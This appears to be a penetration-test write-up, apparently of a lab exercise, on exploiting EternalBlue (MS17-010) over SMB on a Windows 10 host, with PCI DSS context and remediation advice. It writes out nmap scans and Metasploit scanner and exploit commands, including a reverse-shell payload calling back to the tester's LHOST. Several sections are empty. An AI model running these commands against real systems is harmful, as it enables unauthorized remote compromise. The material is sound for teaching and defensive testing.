VAPT Report on SMB Exploitation in Windows 10 Finance Endpoint

This report outlines a structured VAPT engagement focusing on PCI DSS compliance, SMB service enumeration, and exploitation of CVE-2017-0144 (EternalBlue) on a Windows 10 machine within a finance-oriented infrastructure.

🔐 Introduction

Financial institutions face some of the most stringent compliance requirements in the cybersecurity space. With sensitive customer data and cardholder information on the line, security misconfigurations can lead to catastrophic breaches. This VAPT simulation was carried out to evaluate the security posture of a Windows 10-based endpoint system from the perspective of PCI DSS compliance, while also identifying and exploiting known vulnerabilities in exposed SMB services.

The simulation covers multiple stages—from reconnaissance and vulnerability scanning using Nessus to real-world exploitation via Metasploit. The report further emphasizes the importance of endpoint hardening, patch management, firewall enforcement, and PCI DSS alignment in maintaining the integrity of financial networks.

Vulnerability Assessment and Penetration Testing (VAPT) Report

Target: Windows 10 Host – Finance Sector Endpoint

Prepared by: Aditya Bhatt
Designation: VAPT Analyst | Cybersecurity Professional
Contact: [email protected] | +91-9818993884

Executive Summary

This report presents the results of a penetration test conducted on a Windows 10 endpoint suspected to handle financial data and credit card transactions. The objective was to validate PCI DSS control implementations and identify potential attack vectors that could compromise cardholder data.

Using Nessus, the host was discovered to be vulnerable to CVE-2017-0144 (EternalBlue)—a critical SMB vulnerability. The Metasploit framework was then used to exploit this flaw and gain unauthorized remote shell access. This report highlights the importance of timely patch management and network service hardening to avoid data breaches in financial systems.

Objectives

• Assess PCI DSS requirement compliance on a target endpoint.
• Enumerate and identify vulnerabilities on a Windows 10 system.
• Exploit discovered vulnerabilities using standard tools and techniques.
• Recommend remediation actions to improve system security and compliance.

Methodology

Task 1: PCI DSS Compliance Evaluation

Six primary objectives and twelve requirements of PCI DSS were reviewed. Key principles include:

• Implementing firewalls and changing vendor defaults
• Encrypting cardholder data during storage and transmission
• Using anti-virus, secure configurations, and patch management
• Enforcing access control and authentication mechanisms
• Monitoring, logging, and conducting regular vulnerability scans
• Creating and enforcing an organization-wide security policy

Task 2: Vulnerability Discovery

Target System:

• Windows 10 VM
• IP Address: 10.10.195.105
• Subnet: 255.0.0.0

Tools Used:

• Nmap for port and service discovery
• Nessus for vulnerability scanning
• Metasploit for exploitation

Key Commands:

nmap -sn 10.10.195.105

nmap -sV -p445 10.10.195.105

nmap -F 10.10.195.105

• Port 445 (SMB) found open
• Nessus identified vulnerability: CVE-2017-0144 (EternalBlue)

Task 3: Exploitation

Scanner:

Attempting Nessus Scan:

Attempting Metasploit Scan:

use scanner/smb/smb_ms17_010
set RHOSTS 10.10.195.105
run

Exploit Module:

use exploit/windows/smb/ms17_010_eternalblue
set payload generic/shell_reverse_tcp
set RHOSTS 10.10.195.105
set LHOST 10.17.88.138
exploit

• Result: Remote shell successfully opened on target Windows 10 machine
• Unauthorized access to sensitive system confirmed

Key Findings

• SMBv1 active and exposed to network
• EternalBlue (MS17-010) unpatched and exploitable
• Nessus scan revealed multiple high-severity vulnerabilities
• No firewall or network segmentation preventing lateral movement
• Default network services unnecessarily open

Risk Analysis

Recommendations

1. Patch Management

   • Immediately apply Microsoft’s security update for CVE-2017-0144
   • Implement continuous vulnerability scanning and patch cycles

2. Network Hardening

   • Disable SMBv1 protocol completely
   • Limit SMB service access to internal, trusted networks only

3. Firewall Enforcement

   • Block port 445 on public interfaces
   • Use IPS/IDS to detect SMB-based attacks in real-time

4. Continuous Monitoring

   • Deploy SIEM tools to detect anomalies and correlate events
   • Schedule frequent Nessus scans to assess new risks

5. PCI DSS Compliance

   • Enforce multi-factor authentication and least privilege access
   • Encrypt all cardholder data in transit and at rest
   • Conduct regular audits to ensure full control coverage

6. Awareness Training

   • Conduct periodic training sessions for IT teams and stakeholders
   • Include secure handling of financial data and vulnerability response procedures

Conclusion

This engagement clearly demonstrated that unpatched and outdated services like SMBv1 can lead to complete system compromise using publicly known exploits. The EternalBlue vulnerability exploited here is a classic example of why timely patching, service minimization, and proactive scanning are non-negotiable in financial infrastructure.

Without compliance to frameworks like PCI DSS, organizations risk both legal penalties and devastating data breaches.

🛡️ Final Thoughts

Security gaps often hide behind legacy protocols and forgotten patches. This engagement reaffirmed the criticality of treating every service—especially those like SMB—not as a convenience, but as a risk surface.

Strong cybersecurity in the finance sector begins with continuous vigilance, enforced policies, and uncompromising patch management.

Thank you for reading this report. I hope it offered clarity, practical insight, and reinforcement of why continuous security validation is essential—especially when handling financial data.

– Aditya Bhatt
VAPT Analyst | Cybersecurity Professional